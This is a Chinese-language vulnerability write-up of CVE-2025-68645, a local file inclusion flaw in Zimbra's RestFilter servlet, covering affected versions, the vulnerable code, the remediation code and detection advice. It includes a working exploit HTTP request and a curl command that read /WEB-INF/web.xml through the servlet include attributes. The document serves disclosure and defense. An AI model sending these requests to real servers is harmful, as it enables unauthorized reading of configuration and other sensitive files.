CVE-2025-68645|Zimbra 本地文件包含漏洞复现与分析
字数 1198
更新时间 2026-01-31 12:06:12

Zimbra 本地文件包含漏洞(CVE-2025-68645)教学文档

漏洞概述

CVE-2025-68645是Zimbra Collaboration Suite中存在的一个本地文件包含漏洞。该漏洞源于RestFilter servlet对用户输入处理不当,攻击者可通过向/h/rest端点发送特制请求,读取WebRoot目录下的任意文件。

受影响版本

  • Zimbra Collaboration Suite 10.0 < 10.0.18
  • Zimbra Collaboration Suite 10.1 < 10.1.13

技术原理分析

漏洞位置

漏洞位于com.zimbra.webClient.filters.RestFilter类的doFilter方法中。

漏洞代码分析

public class RestFilter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, 
                        FilterChain chain) throws IOException, ServletException {
        Map<String,String[]> attrMap= request.getParameterMap();
        for(Map.Entry<String, String[]> entry: attrMap.entrySet()) {
            for(String value : entry.getValue()) {
                request.setAttribute(entry.getKey(), value); // 漏洞点:无过滤设置属性
            }
        }
        chain.doFilter(request, response);
    }
}

配置映射

/WEB-INF/web.xml中的配置:

<filter-mapping>
    <filter-name>RestFilter</filter-name>
    <url-pattern>/h/*</url-pattern>
</filter-mapping>

<jsp-config>
    <jsp-property-group>
        <url-pattern>/h/rest</url-pattern> <!-- 配置为JSP处理 -->
    </jsp-property-group>
</jsp-config>

漏洞利用机制

关键属性

Servlet规范中的特殊包含属性:

  • javax.servlet.include.servlet_path:指定被包含的Servlet路径
  • javax.servlet.include.path_info:指定被包含的路径信息
  • javax.servlet.include.request_uri:指定被包含的请求URI

攻击流程

  1. 攻击者发送包含恶意参数的GET请求
  2. RestFilter将参数无过滤地设置为request属性
  3. JSP引擎检测到包含属性,执行文件包含操作
  4. 返回目标文件内容

利用示例

GET /h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0...

复现步骤

环境准备

  1. 搭建受影响版本的Zimbra环境(10.0.0-10.0.17或10.1.0-10.1.12)
  2. 确保目标可访问Web界面

攻击测试

使用curl或浏览器发送以下请求:

curl "http://target.com/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

可读取文件路径

  • /WEB-INF/web.xml:Web应用配置文件
  • 其他WebRoot目录下的敏感文件

修复方案

方案一:版本升级

  • 升级到Zimbra Collaboration Suite 10.0.18或更高版本
  • 升级到Zimbra Collaboration Suite 10.1.13或更高版本

方案二:代码修复

修改RestFilter.java,添加危险属性过滤:

@Override
public void doFilter(ServletRequest request, ServletResponse response, 
                    FilterChain chain) throws IOException, ServletException {
    
    Set<String> blacklist = Set.of(
        "javax.servlet.include.servlet_path",
        "javax.servlet.include.path_info",
        "javax.servlet.include.request_uri",
        "javax.servlet.include.context_path",
        "javax.servlet.include.query_string",
        "javax.servlet.forward.servlet_path",
        "javax.servlet.forward.path_info",
        "javax.servlet.forward.request_uri"
    );

    Map<String,String[]> attrMap = request.getParameterMap();
    for(Map.Entry<String, String[]> entry: attrMap.entrySet()) {
        String key = entry.getKey();
        // 过滤危险属性
        if (key != null && !key.toLowerCase().startsWith("javax.servlet.")) {
            for(String value : entry.getValue()) {
                request.setAttribute(key, value);
            }
        }
    }
    chain.doFilter(request, response);
}

防护建议

  1. 及时更新:保持Zimbra系统为最新版本
  2. 输入验证:对所有用户输入进行严格验证和过滤
  3. 权限控制:限制Web应用对敏感文件的访问权限
  4. 安全监控:部署WAF等安全防护设备检测异常请求

影响评估

该漏洞允许攻击者读取服务器上的敏感文件,可能导致配置文件泄露、系统信息暴露等安全风险,属于中高危漏洞。

检测方法

  1. 检查Zimbra版本是否在受影响范围内
  2. 使用安全扫描工具检测漏洞存在性
  3. 审查系统日志中异常的/h/rest请求

此教学文档涵盖了CVE-2025-68645漏洞的技术细节、利用方法和防护措施,为安全研究和防护工作提供完整参考。

 全屏